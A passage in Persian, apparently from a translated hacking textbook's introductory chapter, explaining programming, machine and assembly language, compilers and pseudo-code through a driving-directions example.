‫ﻣﻨﻔﻌﺖ ﻧﯿﺴﺖ‪ ،‬ﺑﻠﮑﻪ ﻫﺪف آﻧﻬﺎ ﻓﺸﺮده ﮐﺮدن ﻫﺮ ﭼﻪ ﻣﻤﮑﻦ از ﻫﺮ ﺑﯿﺖ از ﮐﺪ ﻋﻤﻠﯿﺎﺗﯽِ ﮐﻤـﻮدور ‪ 64‬اﺳـﺖ؛ اﮐـﺴﭙﻠﻮﯾﺖ‬
‫ﻧﻮﯾﺴﺎﻧﯽ ﮐﻪ اﺣﺘﯿﺎج ﺑﻪ ﻧﻮﺷﺘﻦ ﺗﮑﻪ ﮐﺪﻫﺎی ﮐﻮﭼﮏ و ﺣﯿﺮت آوری دارﻧﺪ ﮐﻪ از ﮐﻮﭼﮑﺘﺮﯾﻦ ﺣﻔﺮه ﻫـﺎی اﻣﻨﯿﺘـﯽ اﺳـﺘﻔﺎده‬
‫ﮐﻨﺪ؛ و ﻫﺮ ﮐﺴﯽ ﮐﻪ ﺣﺮﻓﻪ و ﭼﺎﻟﺶِ ﯾﺎﻓﺘﻦ ﺑﻬﺘﺮﯾﻦ راه ﺣﻞ را ﺑﺮای ﯾﮏ ﻣـﺴﺌﻠﻪ ﺳـﺘﺎﯾﺶ ﻣـﯽ ﮐﻨـﺪ‪ .‬اﯾـﻦ ﮔـﺮوه از ﻣـﺮدم‬
‫ﻫﺴﺘﻨﺪ ﮐﻪ درﺑﺎره ﻣﺴﺎﺋﻞ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻣﻬﯿﺞ ﺷﺪه و واﻗﻌﺎ زﯾﺒﺎﯾﯽ ﻣﻮﺟﻮد در ﯾﮏ ﺗﮑﻪ ﮐﺪ ﻇﺮﯾﻒ ﯾﺎ ﻗـﻮه اﺑﺘﮑـﺎر ﻣﻮﺟـﻮد‬
‫در ﯾﮏ ﻫﮏ زﯾﺮﮐﺎﻧﻪ را ﻣﯽ ﺳﺘﺎﯾﻨﺪ‪ .‬ﭼﻮن ﻓﻬﻢ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭘﯿﺶ ﻧﯿﺎزِ ﻓﻬﻢ ﭼﮕﻮﻧﮕﯽ اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎ اﺳﺖ‪،‬‬
‫ﻟﺬا ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﻘﻄﻪ ﺷﺮوع ﻣﻨﺎﺳﺒﯽ ﺑﻪ ﻧﻈﺮ ﻣﯽ رﺳﺪ‪.‬‬

‫‪4‬‬
‫‪- Functional Code‬‬
‫‪9‬‬
‫‪ .2,1‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﭼﯿﺴﺖ؟‬

‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﯾﮏ ﻣﻔﻬﻮم ﻃﺒﯿﻌﯽ و ﻧﮕﺮﺷﯽ اﺳﺖ‪ .‬ﯾﮏ ﺑﺮﻧﺎﻣﻪ )‪ (program‬ﭼﯿﺰی ﺟﺰ ﯾﮏ ﺳﺮی از ﺟﻤﻼت و دﺳﺘﻮرات‬
‫ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺧﺎص ﻧﯿﺴﺖ‪ .‬ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻫﻤﻪ ﺟﺎ وﺟﻮد دارﻧﺪ‪ ،‬ﺣﺘﯽ در ﺳﺮاﺳﺮ دﻧﯿﺎ ﻧﯿـﺰ اﻓـﺮاد از‬
‫ﺑﺮﻧﺎﻣﻪ ﻫﺎی روزاﻧﻪ ﺧﻮد اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﻨﺪ‪ .‬دﺳﺘﻮر اﻟﻌﻤﻞ راﻧﻨﺪﮔﯽ‪ ،‬دﺳﺘﻮر اﻟﻌﻤﻞ آﺷـﭙﺰی‪ ،‬ﺑـﺎزی ﮐـﺮدن ﻓﻮﺗﺒـﺎل و ﺣﺘـﯽ‬
‫ﺳﻠﻮل ﻫﺎ و ‪ DNA‬ﻫﺎی ﺑﺪن ﻧﯿﺰ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﻫﺴﺘﻨﺪ ﮐﻪ در زﻧﺪﮔﯽ اﻧﺴﺎن ﻧﻘﺶ دارﻧﺪ‪ .‬ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻤﻮﻧﻪ ﺑﺮای دﺳﺘﻮرات‬
‫راﻧﻨﺪﮔﯽ ﻣﯽ ﺗﻮاﻧﺪ ﭼﻨﯿﻦ ﺑﺎﺷﺪ‪:‬‬
‫از ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﮐﻪ ﮐﻤﯽ ﺟﻠﻮﺗﺮ در ﺳﻤﺖ راﺳﺖ اﺳﺖ ﺷﺮوع ﮐﻨﯿﺪ‪ .‬ﺑﻪ راﻧﻨﺪﮔﯽ ﺧﻮد اداﻣﻪ دﻫﯿﺪ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﯾـﮏ ﮐﻠﯿـﺴﺎ‬
‫در ﺳﻤﺖ راﺳﺖ ﺧﻮد ﺑﺒﯿﻨﯿﺪ‪ .‬اﮔﺮ ﺧﯿﺎﺑﺎن ﺑﻪ ﺧﺎﻃﺮ ﺳﺎﺧﺖ و ﺳﺎز ﻣﺴﺪود ﺑﻮد‪ ،‬ﺑﻪ ﺳﻤﺖ راﺳﺖ در ﺧﯿﺎﺑﺎن ﭘﺎﻧﺰدﻫﻢ‪ ،‬ﺳـﭙﺲ‬
‫ﺑﻪ ﺳﻤﺖ ﭼﭗ در ﺧﯿﺎﺑﺎن ﮐﺎج‪ ،‬ﻧﻬﺎﯾﺘﺎ ﺑﻪ ﺳﻤﺖ راﺳﺖ در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﭙﯿﭽﯿﺪ‪ .‬اﮔﺮ ﺧﯿﺎﺑﺎن ﻣﺴﺪود ﻧﺒﻮد ﺑﻪ ﻣﺴﯿﺮ ﺧـﻮد‬
‫اداﻣﻪ ﺑﺪﻫﯿﺪ ﺗﺎ ﺑﻪ ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﺮﺳﯿﺪ‪ ،‬ﺳﭙﺲ ﺑﻪ ﺳﻤﺖ راﺳﺖ در آن ﺧﯿﺎﺑﺎن ﺑﭙﯿﭽﯿﺪ‪ .‬در ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ ﺑﻪ ﺣﺮﮐـﺖ‬
‫ﺧﻮد اداﻣﻪ دﻫﯿﺪ و ﺑﻪ ﺳﻤﺖ در ﺟﺎده ﻣﻘﺼﺪ ﺑﭙﯿﭽﯿﺪ‪ .‬در ﺟﺎده ﻣﻘﺼﺪ ﺑﻪ ﻣﯿﺰان ‪ 5‬ﻣﺎﯾﻞ ﺑﺮاﻧﯿﺪ و ﺑـﻪ ﺧﺎﻧـﻪ ای ﮐـﻪ در ﺳـﻤﺖ‬
‫راﺳﺖ اﺳﺖ ﺑﺮﺳﯿﺪ‪ .‬ﭘﻼک آن ﺧﺎﻧﻪ ‪ 743‬اﺳﺖ‪.‬‬
‫ﻫﺮﮐﺲ ﮐﻪ ﭘﺎرﺳﯽ ﺑﺪاﻧﺪ ﻣﯽ ﺗﻮاﻧﺪ اﯾﻦ دﺳﺘﻮرات و ﺟﻬﺖ ﻫـﺎی راﻧﻨـﺪﮔﯽ را دﻧﺒـﺎل ﮐﻨـﺪ‪ .‬اﮔﺮﭼـﻪ اﯾـﻦ دﺳـﺘﻮرات ﺷـﯿﻮا‬
‫ﻧﯿﺴﺘﻨﺪ‪ ،‬اﻣﺎ ﻫﺮ دﺳﺘﻮر واﺿﺢ و ﺑﻪ راﺣﺘﯽ ﻗﺎﺑﻞ دارک اﺳﺖ )ﺣﺪاﻗﻞ ﺑﺮای ﮐﺴﯽ ﮐﻪ ﭘﺎرﺳﯽ ﻣﯽ داﻧﺪ(‪.‬‬
‫اﻣﺎ ﯾﮏ ﮐﺎﻣﭙﯿﻮﺗﺮ ذاﺗﺎ زﺑﺎن ﭘﺎرﺳﯽ ﯾﺎ اﻧﮕﻠﯿﺴﯽ را ﻧﻤﯽ ﻓﻬﻤﺪ‪ ،‬ﺑﻠﮑﻪ ﻓﻘﻂ زﺑـﺎن ﻣﺎﺷـﯿﻦ )‪ (machine language‬را درک‬
‫ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﺮای ﻓﺮﻣﺎن دادن ﺑﻪ ﮐﺎﻣﭙﯿﻮﺗﺮ ﺟﻬﺖ اﻧﺠﺎم ﯾﮏ ﮐﺎر‪ ،‬ﺑﺎﯾﺪ اﯾﻦ ﻓﺮﻣﺎن ﻫﺎ )دﺳﺘﻮرات( ﺑﻪ زﺑﺎن ﻗﺎﺑﻞ ﻓﻬﻢ ﮐﺎﻣﭙﯿﻮﺗﺮ‬
‫)زﺑﺎن ﻣﺎﺷﯿﻦ( ﻧﻮﺷﺘﻪ ﺷﻮﻧﺪ‪ .‬اﻣﺎ ﮐﺎرﮐﺮدن ﺑﺎ زﺑﺎن ﻣﺎﺷﯿﻦ دﺷﻮار ﻣﯽ ﺑﺎﺷﺪ و ﺷﺎﻣﻞ ﺑﯿﺖ ﻫﺎ و ﺑﺎﯾﺖ ﻫﺎی ﺧﺎﻣﯽ اﺳﺖ ﮐـﻪ از‬
‫ﯾﮏ ﻣﻌﻤﺎری ﺑﻪ ﯾﮏ ﻣﻌﻤﺎری دﯾﮕﺮ ﺗﻔﺎوت دارد‪ .‬ﻟﺬا ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﯾﮏ ﭘﺮدازﻧﺪه اﯾﻨﺘـﻞ‬
‫‪ ،x86‬ﺷﺨﺺ ﺑﺎﯾﺪ ارزش و ﻣﻘﺪار ﻣﺮﺗﺒﻂ ﺑﻪ ﻫﺮ دﺳﺘﻮر‪ ،‬ﭼﮕﻮﻧﮕﯽ ﺗﺎﺛﯿﺮات دﺳﺘﻮر و ﺗﻘﺎﺑﻞ اﺛﺮ آن و ﺟﺰﺋﯿﺎت ﺳﻄﺢ ﭘﺎﺋﯿﻦ‬
‫ﺑﯽ ﺷﻤﺎر دﯾﮕﺮی را ﺑﺪاﻧﺪ‪ .‬ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ در ﭼﻨﯿﻦ ﺷﺮاﯾﻄﯽ ﺳﺨﺖ و ﻃﺎﻗﺖ ﻓﺮﺳﺎ و ﻣﺴﺌﻠﻪ ﻧﮕـﺮش در آن وﺟـﻮد ﻧـﺪارد‬
‫)ﯾﻌﻨﯽ ﺑﻪ ﺻﻮرت ﻣﺴﺘﻘﯿﻢ اﻣﮑﺎن درک و ﻧﻮﺷﺘﻦ ﺑﺮﻧﺎﻣﻪ ﻫﺎﯾﯽ ﺑﺎ ﮐﺎرﮐﺮدﻫﺎی ﭘﯿﭽﯿﺪه ﺗﺮ وﺟﻮد ﻧﺪارد(‪.‬‬
‫ﻣﺎﻫﯿــﺖ ﻣــﻮرد ﻧﯿــﺎز ﺟﻬــﺖ ﭼﯿﺮﮔــﯽ ﺑــﺮ ﭘﯿﭽﯿــﺪﮔﯽ ﻧﻮﺷــﺘﻦ زﺑــﺎن ﻣﺎﺷــﯿﻦ‪ ،‬ﻣﺘــﺮﺟﻢ )‪ (translator‬اﺳــﺖ‪ .‬ﯾــﮏ اﺳــﻤﺒﻠﺮ‬
‫)‪ (assembler‬ﯾﮏ ﻧﻮع ﻣﺘﺮﺟﻢ زﺑﺎن ﻣﺎﺷﯿﻦ اﺳﺖ؛ ﺑﺮﻧﺎﻣﻪ ای ﮐﻪ زﺑﺎن اﺳﻤﺒﻠﯽ )‪ (assembly‬را ﺑﻪ ﮐﺪﻫﺎی ﻗﺎﺑﻞ ﺧﻮاﻧﺪن‬
‫و ﻓﻬﻢ ﺑﺮای ﻣﺎﺷﯿﻦ )‪ (machine-readable‬ﺗﺒﺪﯾﻞ ﻣﯽ ﮐﻨﺪ‪ .‬زﺑﺎن اﺳﻤﺒﻠﯽ‪ ،‬ﺑﻪ دﻟﯿﻞ اﺳﺘﻔﺎده از ﻧﺎم ﻫﺎ ﺑﺮای دﺳـﺘﻮرات و‬
‫ﻣﺘﻐﯿﺮﻫﺎی ﻣﺨﺘﻠﻒ‪ ،‬ﮐﻢ رﻣﺰ و راز ﺗﺮ از زﺑﺎن ﻣﺎﺷﯿﻦ اﺳﺖ ﮐﻪ ﻓﻘﻂ از اﻋﺪاد )ﺻﻔﺮ و ﯾﮏ( اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﺎ اﯾـﻦ وﺟـﻮد‬
‫زﺑﺎن اﺳﻤﺒﻠﯽ ﻧﯿﺰ ﻫﻨﻮز دور از درک ﻣﺴﺘﻘﯿﻢ اﺳﺖ‪ .‬ﻧﺎم دﺳﺘﻮرﻫﺎ در زﺑﺎن اﺳﻤﺒﻠﯽ ﺑﺴﯿﺎر ﻣـﺒﻬﻢ اﺳـﺖ )اﻟﺒﺘـﻪ روش ﻫـﺎﯾﯽ‬
‫ﺑﺮای ﻏﻠﺒﻪ ﺑﺮ اﯾﻦ ﻣﺴﺌﻠﻪ وﺟﻮد دارﻧﺪ( و ﺧﻮد اﯾﻦ زﺑﺎن ﻧﯿﺰ واﺑﺴﺘﻪ ﺑﻪ ﻣﻌﻤﺎری ﭘﺮدازﻧـﺪه‪ 5‬اﺳـﺖ‪ .‬ﯾﻌﻨـﯽ ﻫﻤـﺎن ﻃـﻮر ﮐـﻪ‬
‫زﺑﺎن ﻣﺎﺷﯿﻦ در ﭘﺮدازﻧﺪه اﯾﻨﺘﻞ‪ x86‬ﺑﺎ زﺑﺎن ﻣﺎﺷﯿﻦ در ﭘﺮدازﻧﺪه ‪ Sparc‬ﻣﺘﻔﺎوت اﺳﺖ‪ ،‬زﺑﺎن اﺳـﻤﺒﻠﯽ‪ x86‬ﻧﯿـﺰ ﺑـﺎ زﺑـﺎن‬
‫اﺳﻤﺒﻠﯽ ‪ Sparc‬ﻣﺘﻔﺎوت ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﺑﺮﻧﺎﻣﻪ اﺳﻤﺒﻠﯽ ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه روی دﯾﮕﺮ ﻣﻌﻤﺎری ﻫﺎی ﮐـﺎر‬
‫ﻧﺨﻮاﻫﺪ ﮐﺮد‪ .‬اﮔﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ در زﺑﺎن اﺳﻤﺒﻠﯽ‪ x86‬ﻧﻮﺷﺘﻪ ﺷـﺪه ﺑﺎﺷـﺪ‪ ،‬ﺑـﺮای اﺟـﺮا روی ﻣﻌﻤـﺎری ‪ Sparc‬ﺑﺎﯾـﺪ ﻣﺠـﺪدا‬
‫ﺑﺎزﻧﻮﯾﺴﯽ ﺷﻮد‪ .‬ﺑﻌﻼوه ﺟﻬﺖ ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﻮﺛﺮ در زﺑﺎن اﺳﻤﺒﻠﯽ‪ ،‬ﺷﺨﺺ ﺑﺎﯾﺪ ﺟﺰﺋﯿﺎت ﺳﻄﺢ ﭘـﺎﺋﯿﻦ ﺑـﺴﯿﺎری را از‬
‫ﻣﻌﻤﺎری ﭘﺮدازﻧﺪه ﺑﺪاﻧﺪ‪.‬‬

‫‪5‬‬
‫‪Architecture-Specific‬‬
‫‪10‬‬
‫اﯾﻦ ﻣﺸﮑﻼت را ﻣﯽ ﺗﻮان ﺑﻮﺳﯿﻠﻪ ﻧﻮع دﯾﮕﺮی از ﻣﺘﺮﺟﻢ ﻫﺎ ﺑﺎ ﻧﺎم ﮐﺎﻣﭙﺎﯾﻠﺮ )‪ (compiler‬رﻓﻊ ﮐـﺮد‪ .‬ﮐﺎﻣﭙـﺎﯾﻠﺮ ﯾـﮏ زﺑـﺎن‬
‫ﺳﻄﺢ ﺑﺎﻻ‪ 6‬را ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺗﺒﺪﯾﻞ ﻣﯽ ﮐﻨﺪ‪ .‬زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﺧﺎﺻﯿﺖ درک ﻣﺴﺘﻘﯿﻢ ﺑﯿﺸﺘﺮی ﻧﺴﺒﺖ ﺑﻪ زﺑﺎن اﺳﻤﺒﻠﯽ‬
‫دارﻧﺪ و ﻣﯽ ﺗﻮاﻧﻨﺪ ﺑﻪ اﻧﻮاع ﮔﻮﻧﺎﮔﻮﻧﯽ از زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﻣﻌﻤﺎری ﻫﺎی ﻣﺨﺘﻠﻒ ﭘﺮدازﻧﺪه ﺗﺒﺪﯾﻞ ﺷﻮﻧﺪ‪ .‬در اﯾﻦ ﺻـﻮرت‬
‫اﮔﺮ ﺑﺮﻧﺎﻣﻪ ای در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻧﻮﺷﺘﻪ ﺷﻮد‪ ،‬ﻓﻘﻂ ﯾﮏ ﺑﺎر ﻧﯿﺎز ﺑﻪ ﻧﻮﺷﺘﻦ دارد‪ ،‬ﭼﺮا ﮐﻪ ﻫﻤﺎن ﻗﻄﻌﻪ ﮐﺪ را ﻣﯽ ﺗـﻮان‬
‫ﺑﺎ ﯾﮏ ﮐﺎﻣﭙﺎﯾﻠﺮ ﺑﻪ زﺑﺎن ﻣﺎﺷﯿﻦ ﺑﺮای ﻣﻌﻤﺎری ﻫﺎی ﻣﺨﺘﻠﻒ ﺗﺮﺟﻤـﻪ )ﮐﺎﻣﭙﺎﯾـﻞ( ﮐـﺮد‪ C++ ،C .‬و‪ FORTRAN‬از ﺟﻤﻠـﻪ‬
‫زﺑﺎن ﻫﺎی ﺳﻄﺢ ﺑﺎﻻ ﻫﺴﺘﻨﺪ‪.‬‬
‫ﻧﺴﺒﺖ ﺑﻪ زﺑﺎن اﺳﻤﺒﻠﯽ ﯾﺎ ﻣﺎﺷﯿﻦ‪ ،‬ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻮﺷﺘﻪ ﺷﺪه در ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻗﺎﺑﻞ ﺧﻮاﻧﺪن ﺑﺎﻻﺗﺮی دارد و ﺑـﺴﯿﺎر ﺑـﻪ‬
‫زﺑﺎن اﻧﮕﻠﯿﺴﯽ ﺷﺒﯿﻪ اﺳﺖ‪ .‬اﻣﺎ ﺑﺎ اﯾﻦ ﺣﺎل ﻫﻨﻮز ﺑﺎﯾﺪ از ﻗﻮاﻧﯿﻦ ﺳﺮﺳﺨﺘﺎﻧﻪ در ﻧﻮﺷﺘﻦ دﺳﺘﻮرﻫﺎ ﭘﯿﺮوی ﺷـﻮد )‪ ،(syntax‬و‬
‫در ﻏﯿﺮ اﯾﻦ ﺻﻮرت ﮐﺎﻣﭙﺎﯾﻠﺮ ﻗﺎدر ﺑﻪ ﻓﻬﻢ آن ﻧﺨﻮاﻫﺪ ﺑﻮد‪.‬‬
‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ ﻫﺎ ﮔﻮﻧﻪ ای از زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ را در اﺧﺘﯿﺎر دارﻧﺪ ﮐﻪ از آن ﺗﺤﺖ ﻋﻨﻮان ﺷـﺒﻪ‪-‬ﮐـﺪ )‪(Pseudo-Code‬‬
‫ﯾﺎد ﻣﯽ ﺷﻮد‪ .‬ﺷﺒﻪ ﮐﺪ ﺗﻘﺮﯾﺒﺎ ﻣﺎﻧﻨﺪ اﻟﮕﻮرﯾﺘﻢ ﻧﻮﯾﺴﯽ اﺳﺖ و در آن ﮐﻠﻤﺎت و ﺟﻤﻼت ﺑﺎ زﺑـﺎن اﻧﮕﻠﯿـﺴﯽ ﯾـﺎ زﺑـﺎن ﻣـﺎدری‬
‫ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ و ﺑﺎ ﺳﺎﺧﺘﺎری ﻣﺸﺎﺑﻪ ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ ﻣﺮﺗﺐ ﻣﯽ ﺷﻮﻧﺪ‪ .‬اﯾﻦ زﺑﺎن را ﻫﯿﭻ ﮐﺪام از ﮐﺎﻣﭙﺎﯾﻠﺮﻫﺎ ﯾﺎ اﺳﻤﺒﻠﺮﻫﺎ‬
‫ﯾﺎ ﺣﺘﯽ ﺧﻮد ﮐﺎﻣﭙﯿﻮﺗﺮ ﻧﻤﯽ ﺷﻨﺎﺳﻨﺪ )ﭘﺲ در ﺣﻘﯿﻘﺖ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﻧﯿﺴﺖ(‪ .‬اﻣـﺎ ﺑـﺮای ﺑﺮﻧﺎﻣـﻪ ﻧﻮﯾـﺴﺎن راه ﻣﻔﯿـﺪی‬
‫اﺳﺖ ﺟﻬﺖ ﻣﺮﺗﺐ ﮐﺮدن و ﺳﺎزﻣﺎﻧﺪﻫﯽ ﮐﺮدن دﺳﺘﻮرات )ﺟﻤﻼت(‪ .‬ﺷﺒﻪ ﮐﺪ ﺑﻪ درﺳﺘﯽ درک ﻧـﺸﺪه اﺳـﺖ و ﺑـﺴﯿﺎری از‬
‫اﻓﺮاد ﺷﺒﻪ ﮐﺪ را ﺑﺎ ﮐﻤﯽ ﺗﻔﺎوت ﻣﯽ ﻧﻮﯾﺴﻨﺪ‪ ،‬ﯾﻌﻨﯽ ﻫﺮ ﮐﺲ ﯾﮏ ﺷﺒﻪ ﮐﺪ ﻣﯽ ﻧﻮﯾﺴﺪ ﮐﻪ ﻓﻘﻂ ﺑﺮای ﺧﻮدش ﻗﺎﺑﻞ ﻓﻬﻢ ﺑﺎﺷﺪ‬
‫)اﻣﺎ ﺑﻪ ﻫﺮ ﺣﺎل ﯾﮏ ﺷﺒﻪ ﮐﺪ اﺳﺖ(‪ .‬اﯾﻦ زﺑﺎن ﺑﻪ ﻋﻨﻮان ﯾﮏ واﺳﻂ ﺑﯿﻦ زﺑﺎن ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ )ﻣﺜﻞ اﻧﮕﻠﯿﺴﯽ‪ ،‬ﭘﺎرﺳﯽ ﯾﺎ ‪ (...‬و‬
‫ﯾﮏ زﺑﺎن ﺳﻄﺢ ﺑﺎﻻ )ﻣﺜﻞ ‪ (C‬ﻋﻤﻞ ﻣﯽ ﮐﻨﺪ‪ .‬دﺳﺘﻮراﻟﻌﻤﻞ ﻫﺎی راﻧﻨﺪﮔﯽ ﮐﻪ در ﺑﺎﻻ ﯾﺎد ﺷﺪ‪ ،‬اﯾﻨﮏ ﺑﻪ ﻓﺮم ﺷﺒﻪ ﮐـﺪ ﺗﺒـﺪﯾﻞ‬
‫ﺷﺪه اﻧﺪ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ اﯾﻦ ﺻﻮرت ﺑﺎﺷﺪ‪:‬‬
‫;‪Begin going east on Main street‬‬
‫)‪Until (there is a church on the right‬‬
‫{‬
‫;‪Drive down Main‬‬
‫}‬
‫)‪If (street is blocked‬‬
‫{‬
‫;)‪Turn(right, 15th street‬‬
‫;)‪Turn(left, Pine street‬‬
‫;)‪Turn(right, 16th street‬‬
‫}‬
‫‪else‬‬
‫{‬
‫;)‪Turn(right, 16th street‬‬
‫}‬
‫;)‪Turn(left, Destination Road‬‬
‫)‪For (5 iterations‬‬
‫{‬
‫;‪Drive straight for 1 mile‬‬
‫}‬
‫;‪Stop at 743 Destination Road‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻗﺒﻼ ذﮐﺮ ﺷﺪ ﻫﺮ ﻓﺮد ﻣﯽ ﺗﻮاﻧﺪ در ﺷﺒﻪ ﮐﺪ از زﺑﺎن ﻣﺎدری ﺧﻮد ﻧﯿﺰ اﺳﺘﻔﺎده ﮐﻨﺪ‪ .‬ﺑﻨـﺎﺑﺮاﯾﻦ ﺷـﺎﯾﺪ ﺟﻤـﻼت‬
‫ﻓﻮق ﺑﺮای ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺲ اﯾﺮاﻧﯽ )ﺑﺎ زﺑﺎن ﭘﺎرﺳﯽ( ﺑﻪ ﺷﮑﻞ زﯾﺮ ﺑﺎﺷﺪ‪:‬‬
‫در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺑﻪ ﺳﻤﺖ ﺷﺮق ﺑﺮو؛‬
‫ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ )در ﺳﻤﺖ راﺳﺖ ﯾﮏ ﮐﻠﯿﺴﺎ دﯾﺪه ﻣﯽ ﺷﻮد(‬
‫}‬
‫در ﺧﯿﺎﺑﺎن اﺻﻠﯽ ﺣﺮﮐﺖ ﮐﻦ؛‬

‫‪6‬‬
‫)‪High Level Language (HLL‬‬
‫‪11‬‬
‫{‬
‫اﮔﺮ )ﺟﺎده ﻣﺴﺪود ﺷﺪه ﺑﻮد(‬
‫}‬
‫دور_ﺑﺰن)راﺳﺖ‪ ،‬ﺧﯿﺎﺑﺎن ﭘﺎﻧﺰدﻫﻢ(؛‬
‫دور_ﺑﺰن)ﭼﭗ‪ ،‬ﺧﯿﺎﺑﺎن ﮐﺎج(؛‬
‫دور_ﺑﺰن)راﺳﺖ‪ ،‬ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ(؛‬
‫{‬
‫وﮔﺮﻧﻪ‬
‫}‬
‫دور_ﺑﺰن)راﺳﺖ‪ ،‬ﺧﯿﺎﺑﺎن ﺷﺎﻧﺰدﻫﻢ(؛‬
‫{‬
‫دور_ﺑﺰن)ﭼﭗ‪ ،‬ﺟﺎده ﻣﻘﺼﺪ(؛‬
‫ﺑﺮای )‪ 5‬ﺑﺎر ﺗﮑﺮار(‬
‫}‬
‫ﺑﻪ ﻣﺴﺎﻓﺖ ‪ 1‬ﻣﺎﯾﻞ ﺑﻪ ﺳﻤﺖ ﻣﺴﺘﻘﯿﻢ ﺣﺮﮐﺖ ﮐﻦ؛‬
‫{‬
‫در ﺟﺎده ﻣﻘﺼﺪ ‪ 743‬ﺗﻮﻗﻒ ﮐﻦ؛‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ در ﺟﻤﻼت ﻗﺒﻞ ذﮐﺮ ﺷﺪ )و اﺣﺘﻤﺎﻻ ﺑﺎ ﻧﮕﺎه ﺑﻪ ﺟﻤﻼت ﭘﺎرﺳﯽ ﻓﻮق درﯾﺎﻓﺘﯿﺪ(‪ ،‬ﭼﻮن ارﺗﺒﺎط ﻧﺎﻣﺤﺴﻮﺳﯽ ﺑﯿﻦ‬
‫زﺑﺎن ﻫﺎی ﺑﺮﻧﺎﻣﻪ ﻧﻮﯾﺴﯽ ﺳﻄﺢ ﺑﺎﻻ و زﺑﺎن اﻧﮕﻠﯿﺴﯽ وﺟﻮد دارد‪ ،‬ﺑﻬﺘﺮ اﺳﺖ در ﻧﻮﺷﺘﻦ ﺷﺒﻪ ﮐﺪ از زﺑﺎن اﻧﮕﻠﯿﺴﯽ اﺳـﺘﻔﺎده‬
‫ﮐﻨﯿﻢ‪ .‬ﭘﺮواﺿﺢ اﺳﺖ ﮐﻪ در اﯾﻦ ﻣﻮارد زﺑﺎن ﭘﺎرﺳﯽ‪ ،‬آﻧﻄﻮر ﮐـﻪ ﺑﺎﯾـﺪ‪ ،‬ﺑﻤﺎﻧﻨـﺪ زﺑـﺎن اﻧﮕﻠﯿـﺴﯽ‪ ،‬ﮐـﺸﺶ و ﮐـﺎرآﯾﯽ ﻻزم را‬
‫ﻧﺪارد‪.‬‬
‫واﺿﺢ اﺳﺖ ﮐﻪ ﻫﺮ دﺳﺘﻮراﻟﻌﻤﻞ ﺑﻪ ﺧﻄﻮﻃﯽ ﺗﺒﺪﯾﻞ ﺷﺪه و روﻧﺪ اﺟﺮاﯾﯽ و ﮐﻨﺘﺮل ﻣﻨﻄﻘـﯽ آﻧﻬـﺎ‪ ،‬ﺑـﻪ ﺳـﺎﺧﺘﺎرﻫﺎ و ﺗﺮﮐﯿـﺐ‬
‫ﻫﺎی ﮐﻨﺘﺮﻟﯽ واﮔﺬار ﺷﺪه اﺳﺖ‪ .‬ﺑﺪون ﺳﺎﺧﺘﺎر ﻫﺎی ﮐﻨﺘﺮﻟﯽ‪ ،‬ﺑﺮﻧﺎﻣﻪ ﺻـﺮﻓﺎ ﯾـﮏ ﺳـﺮی دﺳـﺘﻮرات ﻣﺘـﻮاﻟﯽ اﺳـﺖ )در آن‬
‫ﺗﺼﻤﯿﻢ ﮔﯿﺮی‪ ،‬ﮐﻨﺘﺮل ﺣﻮادث و ﺷﺮط ﻫﺎی ﻣﻨﻄﻘﯽ و ‪ ...‬وﺟﻮد ﻧﺪارد(‪ .‬اﻣﺎ دﺳﺘﻮراﻟﻌﻤﻞ ﻫﺎی راﻧﻨﺪﮔﯽ ﻣﺎ در ﻣﺜﺎل ﻓﻮق‪ ،‬ﺑـﻪ‬
